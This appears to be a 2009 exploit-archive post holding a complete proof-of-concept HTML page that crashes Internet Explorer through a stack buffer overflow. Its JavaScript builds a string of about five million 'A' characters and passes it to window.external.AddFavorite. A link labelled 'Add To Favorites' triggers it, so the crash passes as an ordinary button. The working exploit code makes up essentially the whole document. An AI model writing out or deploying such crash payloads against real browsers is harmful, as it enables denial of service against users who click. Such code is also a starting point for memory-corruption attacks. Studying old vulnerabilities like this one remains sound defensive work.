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ieadd-overflow.txt

Posted on 10 July 2009

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IE Add Favourites Stack Buffer Overflow POC

Sberry, Compaq

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<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
var str =unescape('%u4141');
var finalstr = createInlineBuffer(str, 5150000);
var len = finalstr.length;
document.write(len);
addfav(finalstr);
}

/* Effient in-line creation */
function createInlineBuffer (str, num) {
var	i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}

/* Vulnerable Function */
function addfav(str)
{
if (document.all)
{
window.external.AddFavorite
('http://'+str,'Crash')
}
}
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>

 

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